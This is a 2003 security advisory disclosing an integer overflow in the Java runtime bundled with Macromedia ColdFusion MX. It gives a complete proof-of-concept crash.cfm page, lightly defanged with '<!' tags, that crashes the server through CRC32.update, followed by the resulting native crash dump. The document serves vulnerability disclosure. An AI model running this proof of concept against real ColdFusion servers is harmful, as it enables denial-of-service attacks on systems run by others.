-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Illegalaccess Security Advisory

Name: Macromedia Coldfusion MX
Systems: All platforms with jdk 1.3.1 Level _03 until _07
Risk Category: Medium
Vulnerability Type: Integer Overflow
Vendor URL: http://www.macromedia.com
Author: Marc Schoenefeld (marc@illegalaccess.org)
Date: 29th April 2003

Hi,

the following cfm crashes macromedia coldfusion mx
due to a integer overflow vulnerability in the bundled
java virtual machine (1.3.1_03).

To try just alter the <! tags !

These type of bugs have already been reported by
illegalaccess.org to Sun Microsystems
in February 2003, but not been fixed in the 1.3.1 edition.
Suns Java 1.4.1_02 is the first version not to be vulnerable to
these problems.

Macromedia was informed on 4/28/03, but no reaction except
a mail reception by a cgi script.

For further info read:
http://developer.java.sun.com/develo...s/4811913.html
http://developer.java.sun.com/develo...s/4812181.html
http://developer.java.sun.com/develo...s/4812006.html
http://developer.java.sun.com/develo...s/4811927.html
http://developer.java.sun.com/develo...s/4811917.html

Sincerely
Marc Schoenefeld

- ------------------crash.cfm-------------------------
<!H1> Coldfusion MX crash with Java <!/h1>
<!h2> Marc Schoenefeld @ illegalaccess.org <!/h2>

<!cfapplication name=3D"Marc" sessionmanagement=3D"yes">


<!cfobject action=3D"create" type=3D"Java" class=3D"java.lang.String" name=
=3D"s">
<!cfobject action=3D"create" type=3D"Java" class=3D"java.util.zip.CRC32" na=
me=3D"c">
<!cfset ret=3Ds.init()>
<!cfset ret=3Dc.init()>
<!cfset str =3D s.getBytes()>
<!cfset retval =3D c.update(str,2147483647,4)>
- ------------------crash.cfm-------------------------

An unexpected exception has been detected in native code outside the VM.
Unexpected Signal : EXCEPTION_ACCESS_VIOLATION occurred at PC=3D0x6d3c215b
Function name=3DJava_java_util_zip_ZipEntry_initFields
Library=3DI:\programme\CFusionMX\runtime\jre\bin\z ip.dll

Current Java thread:
=09at java.util.zip.CRC32.updateBytes(Native Method)
=09at java.util.zip.CRC32.update(Unknown Source)
=09at java.lang.reflect.Method.invoke(Native Method)
=09at coldfusion.runtime.java.JavaProxy.invoke(Unknown Source)
=09at coldfusion.runtime.CfJspPage._invoke(Unknown Source)
=09at
cfcrash2ecfm1822493011.runPage(I:\Programme\CFusio nMX\wwwroot\cfdocs\crash.=
cfm:12)
=09at coldfusion.runtime.CfJspPage.invoke(Unknown Source)
=09at coldfusion.tagext.lang.IncludeTag.doStartTag(Unkno wn Source)
=09at coldfusion.filter.CfincludeFilter.invoke(Unknown Source)
=09at coldfusion.filter.ApplicationFilter.invoke(Unknown Source)
=09at coldfusion.filter.PathFilter.invoke(Unknown Source)
=09at coldfusion.filter.ExceptionFilter.invoke(Unknown Source)
=09at coldfusion.filter.ClientScopePersistenceFilter.inv oke(Unknown
Source)
=09at coldfusion.filter.BrowserFilter.invoke(Unknown Source)
=09at coldfusion.filter.GlobalsFilter.invoke(Unknown Source)
=09at coldfusion.filter.DatasourceFilter.invoke(Unknown Source)
=09at coldfusion.CfmServlet.service(Unknown Source)
=09at jrun.servlet.ServletInvoker.invoke(ServletInvoker. java:106)
=09at
jrun.servlet.JRunInvokerChain.invokeNext(JRunInvok erChain.java:42)
=09at
jrun.servlet.JRunRequestDispatcher.invoke(JRunRequ estDispatcher.java:241)
=09at
jrun.servlet.ServletEngineService.dispatch(Servlet EngineService.java:527)
=09at jrun.servlet.http.WebService.invokeRunnable(WebSer vice.java:172)
=09at
jrunx.scheduler.ThreadPool$DownstreamMetrics.invok eRunnable(ThreadPool.java=
:348)
=09at
jrunx.scheduler.ThreadPool$ThreadThrottle.invokeRu nnable(ThreadPool.java:45=
1)
=09at
jrunx.scheduler.ThreadPool$UpstreamMetrics.invokeR unnable(ThreadPool.java:2=
94)
=09at jrunx.scheduler.WorkerThread.run(WorkerThread.java :66)

Dynamic libraries:
0x00400000 - 0x0040F000 =09I:\Programme\CFusionMX\runtime\bin\jrun.exe
0x77F40000 - 0x77FEE000 =09C:\WINDOWS\System32\ntdll.dll
0x77E40000 - 0x77F38000 =09C:\WINDOWS\system32\kernel32.dll
=2E..


- --

Never be afraid to try something new. Remember, amateurs built the
ark; professionals built the Titanic. -- Anonymous

Marc Sch=F6nefeld Dipl. Wirtsch.-Inf. / Software Developer
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (AIX)
Comment: For info see http://www.gnupg.org

iD8DBQE+rp/cqCaQvrKNUNQRAvM6AJ9elG8t4gmwPQKJgpamrmOIGCirBwCeN HsN
e2RINpJj1RzyBuuRvZUCBEk=3D
=3DF+wc
-----END PGP SIGNATURE-----